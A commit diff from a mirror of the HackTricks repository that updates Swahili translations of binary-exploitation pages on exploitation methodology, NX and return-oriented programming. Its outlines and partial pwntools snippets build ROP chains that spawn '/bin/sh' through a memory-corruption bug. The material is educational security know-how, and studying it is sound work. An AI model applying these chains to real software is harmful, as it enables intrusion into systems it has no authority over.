mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['binary-exploitation/basic-binary-exploitation-methodology/R
This commit is contained in:
Translator
parent
89976a8c18
commit
f96d69275b
8 changed files with 456 additions and 87 deletions
|
|
@ -706,7 +706,8 @@
|
|||
* [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md)
|
||||
* [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md)
|
||||
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md)
|
||||
* [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md)
|
||||
* [Ret2syscall - ARM64](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md)
|
||||
* [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
|
||||
* [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md)
|
||||
* [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
|
|
|
|||
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -30,7 +30,7 @@ Kabla ya kuanza kutumia udhaifu wowote, ni muhimu kuelewa sehemu ya muundo wa **
|
|||
|
||||
## Mbinu ya Kujaza Stack
|
||||
|
||||
Kwa mbinu nyingi ni vizuri kuwa na mpango ambapo kila mbinu itakuwa na manufaa. Kumbuka kuwa kinga sawa zitawaathiri mbinu tofauti. Unaweza kupata njia za kuzidi kinga kwenye kila sehemu ya kinga lakini sio katika mbinu hii.
|
||||
Kwa mbinu nyingi ni vizuri kuwa na mpango ambapo kila mbinu itakuwa na manufaa. Kumbuka kuwa kinga sawa zitaathiri mbinu tofauti. Unaweza kupata njia za kuzidisha kinga kwenye kila sehemu ya kinga lakini sio katika mbinu hii.
|
||||
|
||||
## Kudhibiti Mwelekeo
|
||||
|
||||
|
|
@ -39,10 +39,10 @@ Kuna njia tofauti unaweza kumaliza kudhibiti mwelekeo wa programu:
|
|||
* [**Kujaza Stack**](../stack-overflow/) kwa kubadilisha kiashiria cha kurudi kutoka kwenye stack au EBP -> ESP -> EIP.
|
||||
* Inaweza kuhitaji kutumia [**Kujaza Nambari**](../integer-overflow.md) kusababisha kujaa
|
||||
* Au kupitia **Andika Nini Wapi hadi Utekelezaji**
|
||||
* [**Vidokezo vya Format**](../format-strings/)**:** Tumia `printf` kuandika yaliyomo yoyote kwenye anwani za yoyote.
|
||||
* [**Kuorodhesha Array**](../array-indexing.md): Tumia kiashiria kilichopangwa vibaya ili kuweza kudhibiti baadhi ya mizunguko na kupata andika yoyote.
|
||||
* [**Vidokezo vya Format**](../format-strings/)**:** Tumia `printf` kuandika yaliyomo yoyote kwenye anwani yoyote.
|
||||
* [**Kuorodhesha Array**](../array-indexing.md): Tumia kiashiria kilichopangwa vibaya ili kuweza kudhibiti baadhi ya mizunguko na kupata andika isiyo na mpangilio.
|
||||
* Inaweza kuhitaji kutumia [**Kujaza Nambari**](../integer-overflow.md) kusababisha kujaa
|
||||
* **bof hadi WWW kupitia ROP**: Tumia kujaza kijazo ili kujenga ROP na kuweza kupata WWW.
|
||||
* **bof hadi WWW kupitia ROP**: Tumia kujaza kijazo cha buffer kujenga ROP na kuweza kupata WWW.
|
||||
|
||||
Unaweza kupata mbinu za **Andika Nini Wapi hadi Utekelezaji** katika:
|
||||
|
||||
|
|
@ -52,54 +52,54 @@ Unaweza kupata mbinu za **Andika Nini Wapi hadi Utekelezaji** katika:
|
|||
|
||||
## Mizunguko Isiyokuwa na Mwisho
|
||||
|
||||
Jambo la kuzingatia ni kwamba kawaida **udukuzi mmoja wa udhaifu huenda usiwe wa kutosha** kutekeleza udanganyifu wa mafanikio, hasa baadhi ya kinga zinahitaji kuzidiwa. Kwa hivyo, ni muhimu kujadili chaguzi kadhaa za **kufanya udhaifu mmoja uweze kutumiwa mara kadhaa** katika utekelezaji huo wa binary:
|
||||
Jambo la kuzingatia ni kwamba kawaida **udukuzi mmoja wa udhaifu huenda usiwe wa kutosha** kutekeleza udanganyifu wa mafanikio, hasa baadhi ya kinga zinahitaji kuzidishwa. Kwa hivyo, ni muhimu kujadili chaguzi kadhaa za **kufanya udhaifu mmoja uweze kutumiwa mara kadhaa** katika utekelezaji huo wa binary:
|
||||
|
||||
* Andika kwenye mnyororo wa **ROP** anwani ya **kazi ya** **`kuu`** au kwenye anwani ambapo **udhaifu** unatokea.
|
||||
* Andika kwenye mnyororo wa **ROP** anwani ya **kazi ya msingi** au kwenye anwani ambapo **udhaifu** unatokea.
|
||||
* Kwa kudhibiti mnyororo sahihi wa ROP unaweza kutekeleza vitendo vyote katika mnyororo huo
|
||||
* Andika anwani ya **`exit` kwenye GOT** (au kazi nyingine inayotumiwa na binary kabla ya kumaliza) anwani ya kurudi **nyuma kwa udhaifu**
|
||||
* Kama ilivyoelezwa katika [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** hifadhi 2 kazi hapa, moja kuita udhaifu tena na nyingine kuita**`__libc_csu_fini`** ambayo itaita tena kazi kutoka `.fini_array`.
|
||||
* Kama ilivyoelezwa katika [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** hifadhi hapa 2 kazi, moja kuita udhaifu tena na nyingine kuita**`__libc_csu_fini`** ambayo itaita tena kazi kutoka `.fini_array`.
|
||||
|
||||
## Malengo ya Udukuzi
|
||||
|
||||
### Lengo: Piga simu kwa Kazi Iliyopo
|
||||
### lengo: Piga simu kwa Kazi Iliyopo
|
||||
|
||||
* [**ret2win**](./#ret2win): Kuna kazi katika nambari unayohitaji kupiga simu (labda na baadhi ya parameta maalum) ili kupata bendera.
|
||||
* Katika bof ya kawaida bila [**PIE**](../common-binary-protections-and-bypasses/pie/) **na** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) unahitaji tu kuandika anwani kwenye anwani ya kurudi iliyohifadhiwa kwenye stack.
|
||||
* Katika bof na [**PIE**](../common-binary-protections-and-bypasses/pie/), utahitaji kuzidi kinga hiyo
|
||||
* Katika bof na [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), utahitaji kuzidi kinga hiyo
|
||||
* Katika bof na [**PIE**](../common-binary-protections-and-bypasses/pie/), utahitaji kuzidisha
|
||||
* Katika bof na [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), utahitaji kuzidisha
|
||||
* Ikiwa unahitaji kuweka vigezo kadhaa kuita kazi ya **ret2win** kwa usahihi unaweza kutumia:
|
||||
* Mnyororo wa [**ROP**](./#rop-and-ret2...-techniques) **ikiwa kuna vifaa vya kutosha** kuandaa vigezo vyote
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) (kwa hali unaweza kupiga simu hii ya mfumo) kudhibiti usajili mwingi
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) (kwa hali unaweza kupiga simu hii) kudhibiti usajili mwingi
|
||||
* Vifaa kutoka [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) na [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) kudhibiti usajili kadhaa
|
||||
* Kupitia [**Andika Nini Wapi hadi Utekelezaji**](../arbitrary-write-2-exec/) unaweza kutumia udhaifu mwingine (si bof) kuita kazi ya **`kushinda`**.
|
||||
* [**Kuhamisha Pointi**](../stack-overflow/pointer-redirecting.md): Kwa kesi ambapo stack ina pointi kwa kazi itakayopigwa simu au kwa herufi itakayotumiwa na kazi ya kuvutia (mfumo au printf), inawezekana kubadilisha anwani hiyo.
|
||||
* Kupitia [**Andika Nini Wapi hadi Utekelezaji**](../arbitrary-write-2-exec/) unaweza kutumia udhaifu mwingine (si bof) kuita kazi ya **`ushindi`**.
|
||||
* [**Kuhamisha Pointi**](../stack-overflow/pointer-redirecting.md): Kwa kesi stack ina pointi kwa kazi itakayoitwa au kwa herufi itakayotumiwa na kazi ya kuvutia (mfumo au printf), inawezekana kubadilisha anwani hiyo.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) au [**PIE**](../common-binary-protections-and-bypasses/pie/) inaweza kuathiri anwani.
|
||||
* [**Vigezo visivyoanzishwa**](../stack-overflow/uninitialized-variables.md): Kamwe hujui.
|
||||
* [**Vigezo visivyo na thamani**](../stack-overflow/uninitialized-variables.md): Huwezi kujua.
|
||||
|
||||
### Lengo: RCE
|
||||
### lengo: RCE
|
||||
|
||||
#### Kupitia shellcode, ikiwa nx imelemazwa au kuchanganya shellcode na ROP:
|
||||
|
||||
* [**(Stack) Shellcode**](./#stack-shellcode): Hii ni muhimu kuhifadhi shellcode kwenye stack kabla au baada ya kubadilisha kiashiria cha kurudi kisha **piga simu kwake** kuitekeleza:
|
||||
* **Katika kesi yoyote, ikiwa kuna** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** katika bof ya kawaida utahitaji kuzidi (kuvuja) hiyo
|
||||
* **Bila** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) inawezekana kusonga kwenye anwani ya stack kwani haitabadilika kamwe
|
||||
* **Na** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) utahitaji mbinu kama [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) kusonga kwake
|
||||
* **Na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), utahitaji kutumia baadhi ya [**ROP**](../rop-return-oriented-programing/) **kupiga simu kwa `memprotect`** na kufanya ukurasa fulani uwe `rwx`, ili kisha **hifadhi shellcode hapo** (kupiga simu kwa kusoma kwa mfano) na kisha piga simu hapo.
|
||||
* [**(Stack) Shellcode**](./#stack-shellcode): Hii ni muhimu kuhifadhi shellcode kwenye stack kabla au baada ya kubadilisha kiashiria cha kurudi na kisha **kuhamia kwake** kuitekeleza:
|
||||
* **Katika kesi yoyote, ikiwa kuna** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** katika bof ya kawaida utahitaji kuzidisha (kuvuja) hiyo
|
||||
* **Bila** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) inawezekana kuhama kwenye anwani ya stack kwani haitabadilika kamwe
|
||||
* **Na** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) utahitaji mbinu kama [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) kuhama kwake
|
||||
* **Na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), utahitaji kutumia baadhi ya [**ROP**](../rop-return-oriented-programing/) **kupiga simu kwa `memprotect`** na kufanya ukurasa fulani uwe `rwx`, ili kisha **hifadhi shellcode hapo** (kupiga simu kwa kusoma kwa mfano) na kisha hama hapo.
|
||||
* Hii itachanganya shellcode na mnyororo wa ROP.
|
||||
#### Kupitia syscalls
|
||||
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md): Inatumika kuita `execve` ili kutekeleza amri za aina yoyote. Unahitaji kuweza kupata **gadgets za kuita syscall maalum na parameta**.
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Inatumika kuita `execve` ili kuendesha amri za aina yoyote. Unahitaji kuweza kupata **gadgets za kuita syscall maalum na parameta**.
|
||||
* Ikiwa [**ASLR**](../common-binary-protections-and-bypasses/aslr/) au [**PIE**](../common-binary-protections-and-bypasses/pie/) zimeanzishwa utahitaji kuzishinda **ili kutumia ROP gadgets** kutoka kwenye binary au maktaba.
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) inaweza kuwa na manufaa kwa kuandaa **ret2execve**
|
||||
* Gadgets kutoka [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) na [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) kudhibiti rejista kadhaa
|
||||
* Gadgets kutoka [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) na [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) ili kudhibiti baadhi ya rejista
|
||||
|
||||
#### Kupitia libc
|
||||
|
||||
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Inatumika kuita kazi kutoka kwenye maktaba (kawaida kutoka kwa **`libc`**) kama vile **`system`** na baadhi ya hoja zilizoandaliwa (k.m. `'/bin/sh'`). Unahitaji binary ili **ipakie maktaba** na kazi unayotaka kuita (kawaida libc).
|
||||
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Inatumika kuita kazi kutoka kwenye maktaba (kawaida kutoka **`libc`**) kama vile **`system`** na baadhi ya hoja zilizoandaliwa (k.m. `'/bin/sh'`). Unahitaji binary ili **ipakie maktaba** na kazi unayotaka kuita (kawaida libc).
|
||||
* Ikiwa **imekompiliwa tuli na hakuna** [**PIE**](../common-binary-protections-and-bypasses/pie/), **anwani** ya `system` na `/bin/sh` haitabadilika, hivyo ni rahisi kuzitumia tuli.
|
||||
* **Bila** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na kujua toleo la libc** lililopakiwa, **anwani** ya `system` na `/bin/sh` haitabadilika, hivyo ni rahisi kuzitumia tuli.
|
||||
* Pamoja na [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **lakini bila** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, kwa kujua libc na kwa binary kutumia kazi ya `system`** ni rahisi **`ret` kwenye anwani ya system katika GOT** na anwani ya `'/bin/sh'` kwenye parameta (utahitaji kufikiria hili).
|
||||
* Pamoja na [ASLR](../common-binary-protections-and-bypasses/aslr/) lakini bila [PIE](../common-binary-protections-and-bypasses/pie/), kwa kujua libc na **bila binary kutumia kazi ya `system`** :
|
||||
* Ikiwa kuna [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **lakini hakuna** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, kwa kujua libc na binary ikitumia kazi ya `system`** ni rahisi **`ret` kwenye anwani ya system kwenye GOT** na anwani ya `'/bin/sh'` kwenye parameta (utahitaji kufikiria hili).
|
||||
* Ikiwa kuna [ASLR](../common-binary-protections-and-bypasses/aslr/) lakini hakuna [PIE](../common-binary-protections-and-bypasses/pie/), kwa kujua libc na **bila binary kutumia kazi ya `system`** :
|
||||
* Tumia [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) kutatua anwani ya `system` na kuipiga simu 
|
||||
* **Zuia** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) na kuhesabu anwani ya `system` na `'/bin/sh'` kwenye kumbukumbu.
|
||||
* **Pamoja na** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na** [**PIE**](../common-binary-protections-and-bypasses/pie/) **na bila kujua libc**: Unahitaji:
|
||||
|
|
@ -110,12 +110,12 @@ Jambo la kuzingatia ni kwamba kawaida **udukuzi mmoja wa udhaifu huenda usiwe wa
|
|||
#### Kupitia EBP/RBP
|
||||
|
||||
* [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Dhibiti ESP ili kudhibiti RET kupitia EBP iliyohifadhiwa kwenye steki.
|
||||
* Ina manufaa kwa mifuriko ya steki ya **off-by-one**
|
||||
* Ina manufaa kwa **kuzidi kidogo** kwenye mlipuko wa steki
|
||||
* Ina manufaa kama njia mbadala ya kumaliza kudhibiti EIP wakati wa kutumia EIP kujenga mzigo wa data kwenye kumbukumbu na kisha kuruka kwenda kwake kupitia EBP
|
||||
|
||||
#### Mambo Mengine
|
||||
|
||||
* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Ikiwa steki ina pointa kwa kazi ambayo itaitwa au kwa herufi ambayo itatumika na kazi ya kuvutia (system au printf), inawezekana kubadilisha anwani hiyo.
|
||||
* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Kwenye hali ambapo steki ina pointa kwenye kazi itakayoitwa au kwenye herufi itakayotumiwa na kazi ya kuvutia (kama vile system au printf), inawezekana kubadilisha anwani hiyo.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) au [**PIE**](../common-binary-protections-and-bypasses/pie/) inaweza kuathiri anwani.
|
||||
* [**Variables zisizowekwa**](../stack-overflow/uninitialized-variables.md): Kamwe hujui
|
||||
|
||||
|
|
|
|||
|
|
@ -16,13 +16,13 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Taarifa Msingi
|
||||
|
||||
Biti ya **No-Execute (NX)**, inayojulikana pia kama **Execute Disable (XD)** kwa lugha ya Intel, ni kipengele cha usalama kinachotegemea vifaa kilichoundwa kwa lengo la **kupunguza** athari za mashambulizi ya **kujaza kijazo**. Ikiwa imeboreshwa na kuwezeshwa, inatofautisha kati ya maeneo ya kumbukumbu yanayokusudiwa kwa **mimbo inayoweza kutekelezwa** na yale yanayolenga **data**, kama vile **stack** na **heap**. Wazo kuu ni kuzuia mtu anayeshambulia kutekeleza kificho cha kudhuru kupitia udhaifu wa kujaza kijazo kwa kuweka kificho cha kudhuru kwenye stack kwa mfano na kuongoza mtiririko wa utekelezaji kwake.
|
||||
Biti ya **No-Execute (NX)**, inayojulikana pia kama **Execute Disable (XD)** kwa lugha ya Intel, ni kipengele cha usalama kinachotegemea vifaa kilichoundwa kwa lengo la **kupunguza** athari za mashambulizi ya **kujaza kijizuu**. Ikiwa imeanzishwa na kuwezeshwa, inatofautisha kati ya maeneo ya kumbukumbu yanayokusudiwa kwa **mimbo inayoweza kutekelezwa** na yale yanayolenga **data**, kama vile **stack** na **heap**. Wazo kuu ni kuzuia mtu anayeshambulia kutekeleza kificho cha kudhuru kupitia udhaifu wa kujaza kijizuu kwa kuweka kificho cha kudhuru kwenye stack kwa mfano na kuongoza mtiririko wa utekelezaji kwake.
|
||||
|
||||
## Kupitisha
|
||||
|
||||
* Inawezekana kutumia mbinu kama [**ROP**](../rop-return-oriented-programing/) **kupitisha** ulinzi huu kwa kutekeleza vipande vya kificho kinachoweza kutekelezwa tayari kilichopo kwenye faili ya binary.
|
||||
* [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md)
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
* **Ret2...**
|
||||
|
||||
<details>
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
# ROP - Return Oriented Programing
|
||||
# ROP - Programu ya Kurudi kwa Mwelekeo
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -14,13 +14,44 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
## **Maelezo Msingi**
|
||||
## **Taarifa Msingi**
|
||||
|
||||
**Return-Oriented Programming (ROP)** ni mbinu ya kudukua ya juu inayotumika kuzunguka hatua za usalama kama **No-Execute (NX)** au **Data Execution Prevention (DEP)**. Badala ya kuingiza na kutekeleza shellcode, muhusika anatumia vipande vya nambari tayari zilizopo kwenye faili ya binary au maktaba zilizopakiwa, inayoitwa **"gadgets"**. Kila gadget kawaida hukamilika na maagizo ya `ret` na hufanya operesheni ndogo, kama vile kuhamisha data kati ya rejista au kufanya operesheni za hisabati. Kwa kuunganisha vipande hivi vya gadgets pamoja, muhusika anaweza kujenga mzigo wa data kutekeleza operesheni za kupindukia, kwa ufanisi kupuuza ulinzi wa NX/DEP.
|
||||
**Programu ya Kurudi kwa Mwelekeo (ROP)** ni mbinu ya kudukua ya juu inayotumika kuzunguka hatua za usalama kama **No-Execute (NX)** au **Data Execution Prevention (DEP)**. Badala ya kuingiza na kutekeleza shellcode, muhusika hutumia vipande vya nambari tayari zilizopo kwenye faili ya binary au maktaba zilizopakiwa, inayoitwa **"gadgets"**. Kila gadget kawaida hukamilika na maagizo ya `ret` na hufanya operesheni ndogo, kama vile kuhamisha data kati ya rejista au kufanya operesheni za hisabati. Kwa kuunganisha vipande hivi vya gadgets pamoja, muhusika anaweza kujenga mzigo wa data kutekeleza operesheni za kupindukia, kwa ufanisi kuzunguka ulinzi wa NX/DEP.
|
||||
|
||||
### Jinsi ROP Inavyofanya Kazi
|
||||
|
||||
1. **Utek
|
||||
1. **Udukuzi wa Mwelekeo wa Kudhibiti**: Kwanza, muhusika anahitaji kudhibiti mwelekeo wa programu, kwa kawaida kwa kutumia kosa la kujaza kijazo kubadilisha anwani iliyohifadhiwa ya kurudi kwenye rundo.
|
||||
2. **Unganishaji wa Gadgets**: Mhusika kisha kwa uangalifu huchagua na kuunganisha gadgets kutekeleza hatua zinazotakiwa. Hii inaweza kuhusisha kuweka vigezo kwa wito wa kazi, kuita kazi (k.m., `system("/bin/sh")`), na kushughulikia usafi wowote unaohitajika au operesheni zaidi.
|
||||
3. **Utekelezaji wa Mzigo wa Data**: Wakati kazi inayoweza kudhurika inaporudi, badala ya kurudi kwenye eneo halali, inaanza kutekeleza mnyororo wa gadgets.
|
||||
|
||||
### Zana
|
||||
|
||||
Kwa kawaida, gadgets zinaweza kupatikana kwa kutumia [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) au moja kwa moja kutoka **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
|
||||
|
||||
## Mnyororo wa ROP kwenye Mfano wa x86
|
||||
|
||||
### **Mbinu za Kuita x86 (biti 32)**
|
||||
|
||||
* **cdecl**: Mpigaji anasafisha rundo. Vigezo vya kazi vinapigwa kwenye rundo kwa mpangilio wa kurudi (kulia-kushoto). **Vigezo vinapigwa kwenye rundo kutoka kulia kwenda kushoto.**
|
||||
* **stdcall**: Kama cdecl, lakini mpokeaji anahusika na kusafisha rundo.
|
||||
|
||||
### **Kupata Gadgets**
|
||||
|
||||
Kwanza, hebu tuchukulie tumetambua gadgets muhimu ndani ya faili ya binary au maktaba zilizopakiwa. Gadgets tunayovutiwa nayo ni:
|
||||
|
||||
* `pop eax; ret`: Gadget hii inapiga anwani ya juu ya rundo kwenye rejista ya `EAX` na kisha kurudi, ikiruhusu kudhibiti `EAX`.
|
||||
* `pop ebx; ret`: Kama hapo juu, lakini kwa rejista ya `EBX`, ikiruhusu kudhibiti `EBX`.
|
||||
* `mov [ebx], eax; ret`: Inahamisha thamani katika `EAX` kwenye eneo la kumbukumbu linaloelekezwa na `EBX` kisha kurudi. Mara nyingi huitwa **gadget ya kuandika-nini-wapi**.
|
||||
* Kwa kuongezea, tuna anwani ya kazi ya `system()` inayopatikana.
|
||||
|
||||
### **Mnyororo wa ROP**
|
||||
|
||||
Kwa kutumia **pwntools**, tunajiandaa rundo kwa utekelezaji wa mnyororo wa ROP kama ifuatavyo lengo likiwa kutekeleza `system('/bin/sh')`, angalia jinsi mnyororo unavyoanza na:
|
||||
|
||||
1. Maagizo ya `ret` kwa madhumuni ya upangaji (hiari)
|
||||
2. Anwani ya kazi ya `system` (tukidhani ASLR imelemazwa na libc inayojulikana, habari zaidi katika [**Ret2lib**](ret2lib/))
|
||||
3. Nafasi ya anwani ya kurudi kutoka kwa `system()`
|
||||
4. Anwani ya mfuatano wa `"/bin/sh"` (parameta kwa kazi ya system)
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -62,12 +93,12 @@ p.interactive()
|
|||
* Mfumo wa kuita wa **Windows x64** hutumia `RCX`, `RDX`, `R8`, na `R9` kwa vigezo vinne vya kwanza vya nambari au pointa, na vigezo vingine hupitishwa kwenye steki. Thamani ya kurudi hutiwa kwenye `RAX`.
|
||||
* **Rejista**: Rejista za 64-bit ni pamoja na `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, na `R8` hadi `R15`.
|
||||
|
||||
#### **Kupata Vifaa vya Kutekeleza**
|
||||
#### **Kupata Vifaa vya Gadgets**
|
||||
|
||||
Kwa madhumuni yetu, tuzingatie vifaa vitakavyoturuhusu kuweka rejista ya **RDI** (ili kupitisha herufi **"/bin/sh"** kama hoja kwa **system()**) na kisha kuita kazi ya **system()**. Tutadhani tumetambua vifaa vifuatavyo:
|
||||
Kwa madhumuni yetu, tuzingatie vifaa ambavyo vitatuwezesha kuweka rejista ya **RDI** (ili kupitisha herufi **"/bin/sh"** kama hoja kwa **system()**) na kisha kuita kazi ya **system()**. Tutadhani tumetambua vifaa vifuatavyo:
|
||||
|
||||
* **pop rdi; ret**: Hupokea thamani ya juu ya steki kwenye **RDI** na kisha kurudi. Muhimu kwa kuweka hoja yetu kwa **system()**.
|
||||
* **ret**: Kurudi kwa kawaida, inayofaa kwa upangaji wa steki katika hali fulani.
|
||||
* **ret**: Kurudi kwa kawaida, inayofaa kwa upangilio wa steki katika hali fulani.
|
||||
|
||||
Na tunajua anwani ya kazi ya **system()**.
|
||||
|
||||
|
|
@ -108,20 +139,20 @@ payload = fit({offset: rop_chain})
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
### Mfano huu:
|
||||
Katika mfano huu:
|
||||
|
||||
* Tunatumia kifaa cha **`pop rdi; ret`** kuweka **`RDI`** kwenye anwani ya **`"/bin/sh"`**.
|
||||
* Tunaruka moja kwa moja kwenye **`system()`** baada ya kuweka **`RDI`**, na anwani ya **system()** kwenye mnyororo.
|
||||
* Tunatumia kifaa cha **`pop rdi; ret`** kuweka **`RDI`** kwa anwani ya **`"/bin/sh"`**.
|
||||
* Tunaruka moja kwa moja kwa **`system()`** baada ya kuweka **`RDI`**, na anwani ya **system()** katika mnyororo.
|
||||
* **`ret_gadget`** hutumiwa kwa upangilio ikiwa mazingira ya lengo yanahitaji, ambayo ni ya kawaida zaidi katika **x64** kuhakikisha upangilio sahihi wa stak kabla ya kuita kazi.
|
||||
|
||||
### Upangilio wa Stak
|
||||
|
||||
**ABI ya x86-64** inahakikisha kuwa **stak ina upangilio wa byte 16** wakati maagizo ya **call** yanatekelezwa. **LIBC**, kuboresha utendaji, **inatumia maagizo ya SSE** (kama **movaps**) ambayo yanahitaji upangilio huu. Ikiwa stak haijapangiliwa vizuri (maana yake **RSP** sio maradufu ya 16), wito kwa kazi kama **system** utashindwa katika **mnyororo wa ROP**. Ili kusahihisha hili, tuongeze tu **ret gadget** kabla ya kuita **system** katika mnyororo wako wa ROP.
|
||||
**ABI ya x86-64** inahakikisha kuwa **stak ina upangilio wa byte 16** wakati maagizo ya **wito** yanatekelezwa. **LIBC**, kwa kuboresha utendaji, **inatumia maagizo ya SSE** (kama **movaps**) ambayo yanahitaji upangilio huu. Ikiwa stak haijapangiliwa vizuri (maana yake **RSP** sio maradufu ya 16), wito kwa kazi kama **system** utashindwa katika **mnyororo wa ROP**. Ili kusahihisha hili, tuongeze tu **ret gadget** kabla ya kuita **system** katika mnyororo wako wa ROP.
|
||||
|
||||
## Tofauti Kuu kati ya x86 na x64
|
||||
|
||||
{% hint style="success" %}
|
||||
Kwa kuwa **x64 inatumia rejista kwa hoja za kwanza chache**, mara nyingi inahitaji vifaa vichache kuliko x86 kwa wito rahisi wa kazi, lakini kupata na kuunganisha vifaa sahihi kunaweza kuwa ngumu zaidi kutokana na idadi kubwa ya rejista na nafasi kubwa ya anwani. Idadi kubwa ya rejista na nafasi kubwa ya anwani katika usanidi wa **x64** hutoa fursa na changamoto kwa maendeleo ya kutumia, hasa katika muktadha wa Return-Oriented Programming (ROP).
|
||||
